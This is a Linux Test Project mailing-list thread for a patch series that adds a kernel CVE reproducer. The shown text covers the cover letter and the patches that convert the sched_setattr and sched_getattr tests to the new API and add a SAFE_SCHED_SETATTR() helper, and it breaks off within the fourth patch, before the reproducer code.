Linux Test Project
 help / color / mirror / Atom feed
* [LTP] [PATCH v9 0/5] Reproducer for ghostlock
@ 2026-09-10 11:57 Andrea Cervesato
  2026-09-10 11:57 ` [LTP] [PATCH v9 1/5] sched_setattr: Convert to new API Andrea Cervesato
                   ` (5 more replies)
  0 siblings, 6 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-09-10 11:57 UTC (permalink / raw)
  To: Linux Test Project

Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
rtmutex PI code, fixed in kernel v7.1:
3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/, https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.

Assisted by Kimi K3 for the analysis and written mostly with Gemini Pro
3.1 Max.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v9:
- split sched_setattr test into sched_setattr01 (positive) and sched_setattr02 (negative)
- register sched_setattr02 in runtest/syscalls and .gitignore
- update commit message to reflect the split
- Link to v8: https://lore.kernel.org/20260904-cve-ghostlock-v8-0-bd999083c7fb@suse.com

Changes in v8:
- remove PR_SET_MM_MAP_SIZE from commit message
- remove redundant assignment in ghostlock
- Link to v7: https://lore.kernel.org/20260903-cve-ghostlock-v7-0-771e99aa3057@suse.com

Changes in v7:
- wrap doc-comment lines in sched_setattr01 to stay under 80 columns
- allocate read_attr via .bufs in sched_getattr01
- keep const in sched_setattr() fallback prototype in lapi/sched.h
- update SAFE_SCHED_SETATTR() commit message to describe test usage and remove forward references
- remove unused PR_SET_MM_MAP_SIZE fallback definition from lapi/prctl.h
- wrap doc-comment lines in ghostlock.c to stay under 80 columns
- format multi-line comment in ghostlock.c spray loop
- add explanation comment for try_sizes[] in ghostlock.c
- check return values of TST_THREAD_STATE_WAIT() in ghostlock.c
- check futex_lock_pi() and futex_unlock_pi() returns, report ENOSYS as TCONF, and abort on errors
- add ENOSYS checks for FUTEX_WAIT_REQUEUE_PI and FUTEX_CMP_REQUEUE_PI in ghostlock.c
- Link to v6: https://lore.kernel.org/20260903-cve-ghostlock-v6-0-a3272bb81e4d@suse.com

Changes in v6:
- drop const from sched_setattr() and safe_sched_setattr() prototypes to match glibc 2.41+
- add kernel-doc comment for SAFE_SCHED_SETATTR()
- fix struct prctl_mm_map fallback guard in lapi/prctl.h
- validate futex_wait_requeue_pi() outcome before waking spray checkpoint
- sort ghostlock entry in testcases/cve/.gitignore
- Link to v5: https://lore.kernel.org/20260902-cve-ghostlock-v5-0-569b9eb37941@suse.com

Changes in v5:
- reduced synchronization checkpoints from 5 to 3
- introduced and used SAFE_SCHED_SETATTR() in lapi/sched.h
- dropped unused PR_SET_MM_MAP_SIZE probe in setup()
- fixed duplicated -pthread entry in Makefile
- fixed CVE numerical ordering in runtest/cve
- Link to v4: https://lore.kernel.org/20260826-cve-ghostlock-v4-0-52ec94d6635f@suse.com

Changes in v4:
- handle runtime inside the test
- increase futext wait so we don't TBROK before runtime
- comment prctl() syscall
- move static vars out of the run function
- Link to v3: https://lore.kernel.org/20260803-cve-ghostlock-v3-0-cde83fa429b7@suse.com

Changes in v3:
- improve sync mechanism
- fix lapi imports
- Link to v2: https://lore.kernel.org/20260803-cve-ghostlock-v2-0-b60588853140@suse.com

Changes in v2:
- fix build
- fix 32bit run
- Link to v1: https://lore.kernel.org/20260801-cve-ghostlock-v1-0-178f698f9702@suse.com

To: Linux Test Project <ltp@lists.linux.it>

---
Andrea Cervesato (5):
      sched_setattr: Convert to new API
      sched_getattr01: Convert to new API
      lapi/sched: add SAFE_SCHED_SETATTR()
      lapi/prctl: add more fallback definitions
      cve: add CVE-2026-43499 reproducer

 configure.ac                                       |   2 +
 include/lapi/prctl.h                               |  24 ++
 include/lapi/sched.h                               |  35 +++
 runtest/cve                                        |   1 +
 runtest/syscalls                                   |   1 +
 testcases/cve/.gitignore                           |   1 +
 testcases/cve/Makefile                             |   2 +-
 testcases/cve/ghostlock.c                          | 277 +++++++++++++++++++++
 testcases/kernel/syscalls/sched_getattr/Makefile   |   1 -
 .../syscalls/sched_getattr/sched_getattr01.c       | 134 ++++------
 testcases/kernel/syscalls/sched_setattr/.gitignore |   1 +
 testcases/kernel/syscalls/sched_setattr/Makefile   |   1 -
 .../syscalls/sched_setattr/sched_setattr01.c       | 138 +++-------
 .../syscalls/sched_setattr/sched_setattr02.c       | 140 +++++++++++
 14 files changed, 575 insertions(+), 183 deletions(-)
---
base-commit: 12724413534a6d4160ff9694ba6f09daa4ccb6bd
change-id: 20260801-cve-ghostlock-6ee4b2f69fd6

Best regards,
--  
Andrea Cervesato <andrea.cervesato@suse.com>


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 8+ messages in thread

* [LTP] [PATCH v9 1/5] sched_setattr: Convert to new API
  2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
@ 2026-09-10 11:57 ` Andrea Cervesato
  2026-09-10 13:00   ` Cyril Hrubis
  2026-09-10 11:57 ` [LTP] [PATCH v9 2/5] sched_getattr01: " Andrea Cervesato
                   ` (4 subsequent siblings)
  5 siblings, 1 reply; 8+ messages in thread
From: Andrea Cervesato @ 2026-09-10 11:57 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the test to the new LTP API and split it into sched_setattr01
for the positive test and sched_setattr02 for the negative tests.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/syscalls                                   |   1 +
 testcases/kernel/syscalls/sched_setattr/.gitignore |   1 +
 testcases/kernel/syscalls/sched_setattr/Makefile   |   1 -
 .../syscalls/sched_setattr/sched_setattr01.c       | 138 ++++++--------------
 .../syscalls/sched_setattr/sched_setattr02.c       | 140 +++++++++++++++++++++
 5 files changed, 182 insertions(+), 99 deletions(-)

diff --git a/runtest/syscalls b/runtest/syscalls
index 737c63e31..895215488 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -1337,6 +1337,7 @@ sched_setaffinity01 sched_setaffinity01
 sched_getaffinity01 sched_getaffinity01
 
 sched_setattr01 sched_setattr01
+sched_setattr02 sched_setattr02
 sched_getattr01 sched_getattr01
 sched_getattr02 sched_getattr02
 
diff --git a/testcases/kernel/syscalls/sched_setattr/.gitignore b/testcases/kernel/syscalls/sched_setattr/.gitignore
index f2b192d08..8a0b89a74 100644
--- a/testcases/kernel/syscalls/sched_setattr/.gitignore
+++ b/testcases/kernel/syscalls/sched_setattr/.gitignore
@@ -1 +1,2 @@
 /sched_setattr01
+/sched_setattr02
diff --git a/testcases/kernel/syscalls/sched_setattr/Makefile b/testcases/kernel/syscalls/sched_setattr/Makefile
index 8fd2bd6f2..81f9dc164 100644
--- a/testcases/kernel/syscalls/sched_setattr/Makefile
+++ b/testcases/kernel/syscalls/sched_setattr/Makefile
@@ -5,6 +5,5 @@ top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-CFLAGS			+= -pthread
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
index 13380d177..f89b829f4 100644
--- a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
+++ b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
@@ -1,134 +1,76 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
- /* Description:
- *   Verify that:
- *              1) sched_setattr succeed with correct parameters
- *              2) sched_setattr fails with unused pid
- *              3) sched_setattr fails with invalid address
- *              4) sched_setattr fails with invalid flag
+
+/*\
+ * Verify that :manpage:`sched_setattr(2)` correctly sets the scheduling
+ * attributes of a process and that they can be read back using
+ * :manpage:`sched_getattr(2)`.
+ *
+ * Root is required (:c:macro:`CAP_SYS_NICE`) to configure the
+ * :c:macro:`SCHED_DEADLINE` policy.
+ *
+ * The test relies on the LTP harness process isolation and resets the
+ * scheduling policy to :c:macro:`SCHED_OTHER` after testing to prevent
+ * :c:macro:`SCHED_DEADLINE` constraints from leaking into subsequent
+ * test iterations.
  */
 
 #define _GNU_SOURCE
-#include <unistd.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <linux/unistd.h>
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <sys/syscall.h>
-#include <pthread.h>
+
 #include <errno.h>
 
-#include "test.h"
+#include "tst_test.h"
 #include "lapi/sched.h"
 
-char *TCID = "sched_setattr01";
-
 #define RUNTIME_VAL 10000000
 #define PERIOD_VAL 30000000
 #define DEADLINE_VAL 30000000
 
-static pid_t pid;
-static pid_t unused_pid;
-
 static struct sched_attr attr = {
 	.size = sizeof(struct sched_attr),
-	.sched_flags = 0,
-	.sched_nice = 0,
-	.sched_priority = 0,
-
 	.sched_policy = SCHED_DEADLINE,
 	.sched_runtime = RUNTIME_VAL,
 	.sched_period = PERIOD_VAL,
 	.sched_deadline = DEADLINE_VAL,
 };
 
-static struct test_case {
-	pid_t *pid;
-	struct sched_attr *a;
-	unsigned int flags;
-	int exp_return;
-	int exp_errno;
-} test_cases[] = {
-	{&pid, &attr, 0, 0, 0},
-	{&unused_pid, &attr, 0, -1, ESRCH},
-	{&pid, NULL, 0, -1, EINVAL},
-	{&pid, &attr, 1000, -1, EINVAL}
-};
-
-static void setup(void);
-static void sched_setattr_verify(const struct test_case *test);
-
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-void *do_test(void *data LTP_ATTRIBUTE_UNUSED)
+static void reset_sched(void)
 {
-	int i;
-
-	for (i = 0; i < TST_TOTAL; i++)
-		sched_setattr_verify(&test_cases[i]);
+	struct sched_attr normal = {
+		.size = sizeof(normal),
+		.sched_policy = SCHED_OTHER,
+	};
 
-	return NULL;
+	sched_setattr(0, &normal, 0);
 }
 
-static void sched_setattr_verify(const struct test_case *test)
+static void run(void)
 {
-	TEST(sched_setattr(*(test->pid), test->a, test->flags));
+	struct sched_attr read_attr = { .size = sizeof(read_attr) };
 
-	if (TEST_RETURN != test->exp_return) {
-		tst_resm(TFAIL | TTERRNO, "sched_setattr(%i,attr,%u) "
-		         "returned: %ld expected: %d",
-		         *(test->pid), test->flags,
-		         TEST_RETURN, test->exp_return);
+	TST_EXP_PASS(sched_setattr(0, &attr, 0),
+		     "sched_setattr() with valid parameters");
+	if (!TST_PASS)
 		return;
-	}
 
-	if (TEST_ERRNO == test->exp_errno) {
-		tst_resm(TPASS | TTERRNO,
-			"sched_setattr() works as expected");
+	if (sched_getattr(0, &read_attr, sizeof(read_attr), 0) == -1) {
+		tst_res(TFAIL | TERRNO, "sched_getattr() failed");
 		return;
 	}
 
-	tst_resm(TFAIL | TTERRNO, "sched_setattr(%i,attr,%u): "
-		"expected: %d - %s",
-		*(test->pid), test->flags,
-		test->exp_errno, tst_strerrno(test->exp_errno));
-}
-
-int main(int argc, char **argv)
-{
-	pthread_t thread;
-	int lc;
+	TST_EXP_EQ_LU(read_attr.sched_policy, SCHED_DEADLINE);
+	TST_EXP_EQ_LU(read_attr.sched_runtime, RUNTIME_VAL);
+	TST_EXP_EQ_LU(read_attr.sched_deadline, DEADLINE_VAL);
+	TST_EXP_EQ_LU(read_attr.sched_period, PERIOD_VAL);
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		pthread_create(&thread, NULL, do_test, NULL);
-		pthread_join(thread, NULL);
-	}
-
-	tst_exit();
+	reset_sched();
 }
 
-void setup(void)
-{
-	unused_pid = tst_get_unused_pid(setup);
-
-	tst_require_root();
-
-	TEST_PAUSE;
-}
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = reset_sched,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/sched_setattr/sched_setattr02.c b/testcases/kernel/syscalls/sched_setattr/sched_setattr02.c
new file mode 100644
index 000000000..9f1ccfcd0
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_setattr/sched_setattr02.c
@@ -0,0 +1,140 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Huawei Technologies Co., Ltd., 2015
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Verify that :manpage:`sched_setattr(2)` fails and sets errno to:
+ *
+ * - :c:macro:`ESRCH` when pid is unused
+ * - :c:macro:`EINVAL` when pid is negative
+ * - :c:macro:`EINVAL` when sched_attr address is NULL
+ * - :c:macro:`EFAULT` when sched_attr address is invalid
+ * - :c:macro:`E2BIG` when sched_attr size is smaller than version 0
+ * - :c:macro:`EINVAL` when flags are invalid
+ * - :c:macro:`EINVAL` when sched_policy is invalid
+ * - :c:macro:`EINVAL` when runtime exceeds deadline
+ */
+
+#define _GNU_SOURCE
+
+#include <errno.h>
+
+#include "tst_test.h"
+#include "lapi/sched.h"
+
+#define RUNTIME_VAL 10000000
+#define PERIOD_VAL 30000000
+#define DEADLINE_VAL 30000000
+
+static pid_t unused_pid;
+static pid_t invalid_pid = -1;
+static void *bad_addr;
+
+static struct sched_attr attr = {
+	.size = sizeof(struct sched_attr),
+	.sched_policy = SCHED_DEADLINE,
+	.sched_runtime = RUNTIME_VAL,
+	.sched_period = PERIOD_VAL,
+	.sched_deadline = DEADLINE_VAL,
+};
+
+static struct sched_attr attr_small = {
+	.size = SCHED_ATTR_SIZE_VER0 - 1,
+};
+
+static struct sched_attr attr_invalid_policy = {
+	.size = sizeof(struct sched_attr),
+	.sched_policy = 999,
+};
+
+static struct sched_attr attr_bad_dl = {
+	.size = sizeof(struct sched_attr),
+	.sched_policy = SCHED_DEADLINE,
+	.sched_runtime = PERIOD_VAL,
+	.sched_deadline = RUNTIME_VAL,
+	.sched_period = PERIOD_VAL,
+};
+
+static struct tcase {
+	pid_t *pid;
+	struct sched_attr *attr;
+	int bad_attr;
+	unsigned int flags;
+	int exp_errno;
+	const char *desc;
+} tcases[] = {
+	{
+		.pid = &unused_pid,
+		.attr = &attr,
+		.exp_errno = ESRCH,
+		.desc = "sched_setattr() with unused pid",
+	},
+	{
+		.pid = &invalid_pid,
+		.attr = &attr,
+		.exp_errno = EINVAL,
+		.desc = "sched_setattr() with negative pid",
+	},
+	{
+		.exp_errno = EINVAL,
+		.desc = "sched_setattr() with NULL sched_attr",
+	},
+	{
+		.bad_attr = 1,
+		.exp_errno = EFAULT,
+		.desc = "sched_setattr() with invalid sched_attr address",
+	},
+	{
+		.attr = &attr_small,
+		.exp_errno = E2BIG,
+		.desc = "sched_setattr() with size smaller than version 0",
+	},
+	{
+		.attr = &attr,
+		.flags = 1000,
+		.exp_errno = EINVAL,
+		.desc = "sched_setattr() with invalid flags",
+	},
+	{
+		.attr = &attr_invalid_policy,
+		.exp_errno = EINVAL,
+		.desc = "sched_setattr() with invalid sched_policy",
+	},
+	{
+		.attr = &attr_bad_dl,
+		.exp_errno = EINVAL,
+		.desc = "sched_setattr() with runtime exceeding deadline",
+	},
+};
+
+static void verify_sched_setattr(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	pid_t pid = tc->pid ? *tc->pid : 0;
+	struct sched_attr *target_attr = tc->bad_attr ? bad_addr : tc->attr;
+
+	/*
+	 * The kernel writes sizeof(struct sched_attr) back to uattr->size
+	 * on the -E2BIG error path, clobbering our test input. Refresh
+	 * before each call so re-runs (e.g. -i N) still exercise the
+	 * intended size.
+	 */
+	attr_small.size = SCHED_ATTR_SIZE_VER0 - 1;
+
+	TST_EXP_FAIL(sched_setattr(pid, target_attr, tc->flags),
+		     tc->exp_errno, "%s", tc->desc);
+}
+
+static void setup(void)
+{
+	unused_pid = tst_get_unused_pid();
+	bad_addr = tst_get_bad_addr(NULL);
+}
+
+static struct tst_test test = {
+	.test = verify_sched_setattr,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+};

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 8+ messages in thread

* [LTP] [PATCH v9 2/5] sched_getattr01: Convert to new API
  2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
  2026-09-10 11:57 ` [LTP] [PATCH v9 1/5] sched_setattr: Convert to new API Andrea Cervesato
@ 2026-09-10 11:57 ` Andrea Cervesato
  2026-09-10 11:57 ` [LTP] [PATCH v9 3/5] lapi/sched: add SAFE_SCHED_SETATTR() Andrea Cervesato
                   ` (3 subsequent siblings)
  5 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-09-10 11:57 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Rewrite the test to use the modern LTP API (tst_test.h) with
TST_EXP_* macros and cleanup callback.

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/sched_getattr/Makefile   |   1 -
 .../syscalls/sched_getattr/sched_getattr01.c       | 143 ++++++++-------------
 2 files changed, 57 insertions(+), 87 deletions(-)

diff --git a/testcases/kernel/syscalls/sched_getattr/Makefile b/testcases/kernel/syscalls/sched_getattr/Makefile
index ea299ff4a..4cef5e763 100644
--- a/testcases/kernel/syscalls/sched_getattr/Makefile
+++ b/testcases/kernel/syscalls/sched_getattr/Makefile
@@ -5,6 +5,5 @@ top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-CFLAGS			+= -pthread
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
index 2e06d1809..0edd9e47e 100644
--- a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
+++ b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
@@ -1,105 +1,76 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) Huawei Technologies Co., Ltd., 2015
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Verify that :manpage:`sched_getattr(2)` correctly reads back the scheduling
+ * attributes of a task configured with :manpage:`sched_setattr(2)`.
+ *
+ * Root is required (:c:macro:`CAP_SYS_NICE`) to configure the
+ * :c:macro:`SCHED_DEADLINE` policy.
  *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
+ * The test relies on the LTP harness process isolation and resets the
+ * scheduling policy to :c:macro:`SCHED_OTHER` after testing to prevent
+ * :c:macro:`SCHED_DEADLINE` constraints from leaking across test iterations.
  */
 
 #define _GNU_SOURCE
-#include <unistd.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <linux/unistd.h>
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <sys/syscall.h>
-#include <pthread.h>
-#include <errno.h>
 
-#include "test.h"
+#include "tst_test.h"
 #include "lapi/sched.h"
 
-char *TCID = "sched_getattr01";
-int TST_TOTAL = 1;
-
 #define RUNTIME_VAL 10000000
 #define PERIOD_VAL 30000000
 #define DEADLINE_VAL 30000000
 
-void *run_deadline(void *data LTP_ATTRIBUTE_UNUSED)
-{
-	struct sched_attr attr, attr_copy;
-	int ret;
-	unsigned int flags = 0;
-	unsigned int size;
-
-	attr.size = sizeof(attr);
-	attr.sched_flags = 0;
-	attr.sched_nice = 0;
-	attr.sched_priority = 0;
-
-	/* This creates a 10ms/30ms reservation */
-	attr.sched_policy = SCHED_DEADLINE;
-	attr.sched_runtime = RUNTIME_VAL;
-	attr.sched_period = PERIOD_VAL;
-	attr.sched_deadline = DEADLINE_VAL;
-
-	ret = sched_setattr(0, &attr, flags);
-	if (ret < 0)
-		tst_brkm(TFAIL | TERRNO, NULL, "sched_setattr() failed");
-
-	size = sizeof(attr_copy);
-	ret = sched_getattr(0, &attr_copy, size, flags);
-	if (ret < 0)
-		tst_brkm(TFAIL | TERRNO, NULL, "sched_getattr() failed");
+static struct sched_attr *read_attr;
 
-	int fail = 0;
-
-	if (attr_copy.sched_runtime != RUNTIME_VAL) {
-		tst_resm(TINFO, "sched_runtime is incorrect (%"PRIu64"),"
-			" expected %u", attr.sched_runtime, RUNTIME_VAL);
-		fail++;
-	}
-	if (attr_copy.sched_period != PERIOD_VAL) {
-		tst_resm(TINFO, "sched_period is incorrect (%"PRIu64"),"
-			" expected %u", attr.sched_period, PERIOD_VAL);
-		fail++;
-	}
-	if (attr_copy.sched_deadline != DEADLINE_VAL) {
-		tst_resm(TINFO, "sched_deadline is incorrect (%"PRIu64"),"
-			" expected %u", attr.sched_deadline, DEADLINE_VAL);
-		fail++;
-	}
-
-	if (fail)
-		tst_resm(TFAIL, "attributes were read back incorrectly");
-	else
-		tst_resm(TPASS, "attributes were read back correctly");
+static void reset_sched(void)
+{
+	struct sched_attr normal = {
+		.size = sizeof(normal),
+		.sched_policy = SCHED_OTHER,
+	};
 
-	return NULL;
+	sched_setattr(0, &normal, 0);
 }
 
-int main(int argc, char **argv)
+static void run(void)
 {
-	pthread_t thread;
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	tst_require_root();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		pthread_create(&thread, NULL, run_deadline, NULL);
-		pthread_join(thread, NULL);
-	}
-
-	tst_exit();
+	struct sched_attr attr = {
+		.size = sizeof(attr),
+		.sched_policy = SCHED_DEADLINE,
+		.sched_runtime = RUNTIME_VAL,
+		.sched_deadline = DEADLINE_VAL,
+		.sched_period = PERIOD_VAL,
+	};
+
+	if (sched_setattr(0, &attr, 0) == -1)
+		tst_brk(TBROK | TERRNO, "sched_setattr() failed");
+
+	memset((void *)read_attr, 0, sizeof(*read_attr));
+
+	TST_EXP_PASS(sched_getattr(0, read_attr, sizeof(*read_attr), 0),
+		     "sched_getattr() with valid parameters");
+	if (!TST_PASS)
+		return;
+
+	TST_EXP_EQ_LU(read_attr->sched_policy, SCHED_DEADLINE);
+	TST_EXP_EQ_LU(read_attr->sched_runtime, RUNTIME_VAL);
+	TST_EXP_EQ_LU(read_attr->sched_deadline, DEADLINE_VAL);
+	TST_EXP_EQ_LU(read_attr->sched_period, PERIOD_VAL);
+
+	reset_sched();
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = reset_sched,
+	.needs_root = 1,
+	.bufs = (struct tst_buffers []) {
+	    {&read_attr, .size = sizeof(*read_attr)},
+	    {},
+	},
+};

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 8+ messages in thread

* [LTP] [PATCH v9 3/5] lapi/sched: add SAFE_SCHED_SETATTR()
  2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
  2026-09-10 11:57 ` [LTP] [PATCH v9 1/5] sched_setattr: Convert to new API Andrea Cervesato
  2026-09-10 11:57 ` [LTP] [PATCH v9 2/5] sched_getattr01: " Andrea Cervesato
@ 2026-09-10 11:57 ` Andrea Cervesato
  2026-09-10 11:57 ` [LTP] [PATCH v9 4/5] lapi/prctl: add more fallback definitions Andrea Cervesato
                   ` (2 subsequent siblings)
  5 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-09-10 11:57 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add a safe variant of sched_setattr() that breaks the test with TBROK
on failure and use it in sched_setattr01 and sched_getattr01.

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 include/lapi/sched.h                               | 35 ++++++++++++++++++++++
 .../syscalls/sched_getattr/sched_getattr01.c       |  5 ++--
 .../syscalls/sched_setattr/sched_setattr01.c       |  2 +-
 3 files changed, 38 insertions(+), 4 deletions(-)

diff --git a/include/lapi/sched.h b/include/lapi/sched.h
index 05b322c1c..d623ea7cf 100644
--- a/include/lapi/sched.h
+++ b/include/lapi/sched.h
@@ -169,4 +169,39 @@ static inline int getcpu(unsigned *cpu, unsigned *node)
 # define CLONE_INTO_CGROUP 0x200000000ULL
 #endif
 
+static inline int safe_sched_setattr(const char *file, const int lineno,
+				     pid_t pid, struct sched_attr *attr,
+				     unsigned int flags)
+{
+	int ret;
+
+	ret = sched_setattr(pid, attr, flags);
+
+	if (ret == -1) {
+		if (attr) {
+			tst_brk_(file, lineno, TBROK | TERRNO,
+				"sched_setattr(%i, {size=%u, policy=%u}, %u) failed",
+				pid, attr->size, attr->sched_policy, flags);
+		} else {
+			tst_brk_(file, lineno, TBROK | TERRNO,
+				"sched_setattr(%i, NULL, %u) failed", pid, flags);
+		}
+	}
+
+	return ret;
+}
+
+/**
+ * SAFE_SCHED_SETATTR() - Safe wrapper for sched_setattr().
+ * @pid: Target process or thread ID (0 for caller).
+ * @attr: Pointer to a sched_attr structure.
+ * @flags: Flags modifying the scheduling behavior.
+ *
+ * Calls sched_setattr() and breaks the test with TBROK | TERRNO on failure.
+ *
+ * Return: Zero on success.
+ */
+#define SAFE_SCHED_SETATTR(pid, attr, flags)\
+	safe_sched_setattr(__FILE__, __LINE__, (pid), (attr), (flags))
+
 #endif /* LAPI_SCHED_H__ */
diff --git a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
index 0edd9e47e..bd05164ca 100644
--- a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
+++ b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c
@@ -34,7 +34,7 @@ static void reset_sched(void)
 		.sched_policy = SCHED_OTHER,
 	};
 
-	sched_setattr(0, &normal, 0);
+	SAFE_SCHED_SETATTR(0, &normal, 0);
 }
 
 static void run(void)
@@ -47,8 +47,7 @@ static void run(void)
 		.sched_period = PERIOD_VAL,
 	};
 
-	if (sched_setattr(0, &attr, 0) == -1)
-		tst_brk(TBROK | TERRNO, "sched_setattr() failed");
+	SAFE_SCHED_SETATTR(0, &attr, 0);
 
 	memset((void *)read_attr, 0, sizeof(*read_attr));
 
diff --git a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
index f89b829f4..93e532774 100644
--- a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
+++ b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c
@@ -44,7 +44,7 @@ static void reset_sched(void)
 		.sched_policy = SCHED_OTHER,
 	};
 
-	sched_setattr(0, &normal, 0);
+	SAFE_SCHED_SETATTR(0, &normal, 0);
 }
 
 static void run(void)

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 8+ messages in thread

* [LTP] [PATCH v9 4/5] lapi/prctl: add more fallback definitions
  2026-09-10 11:57 [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato
                   ` (2 preceding siblings ...)
  2026-09-10 11:57 ` [LTP] [PATCH v9 3/5] lapi/sched: add SAFE_SCHED_SETATTR() Andrea Cervesato
@ 2026-09-10 11:57 ` Andrea Cervesato
  2026-09-10 11:57 ` [LTP] [PATCH v9 5/5] cve: add CVE-2026-43499 reproducer Andrea Cervesato
  2026-09-10 12:41 ` [LTP] [PATCH v9 0/5] Reproducer for ghostlock Andrea Cervesato via ltp
  5 siblings, 0 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-09-10 11:57 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add the following fallback definitions:

- PR_SET_MM
- PR_SET_MM_MAP
- struct prctl_mm_map

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 configure.ac         |  2 ++
 include/lapi/prctl.h | 24 ++++++++++++++++++++++++
 2 files changed, 26 insertions(+)

diff --git a/configure.ac b/configure.ac
index 19fc5e1b8..052b83e04 100644
--- a/configure.ac
+++ b/configure.ac
@@ -286,6 +286,8 @@ AC_CHECK_TYPES([struct fsxattr],,,[#include <linux/fs.h>])
 
 AC_CHECK_TYPES([struct logical_block_metadata_cap],,,[#include <linux/fs.h>])
 
+AC_CHECK_TYPES([struct prctl_mm_map],,,[#include <sys/prctl.h>])
+
 AC_CHECK_TYPES([struct sockaddr_vm],,,[
 #include <sys/socket.h>
 #include <linux/vm_sockets.h>
diff --git a/include/lapi/prctl.h b/include/lapi/prctl.h
index 8d3ef5c32..3394a8581 100644
--- a/include/lapi/prctl.h
+++ b/include/lapi/prctl.h
@@ -7,7 +7,9 @@
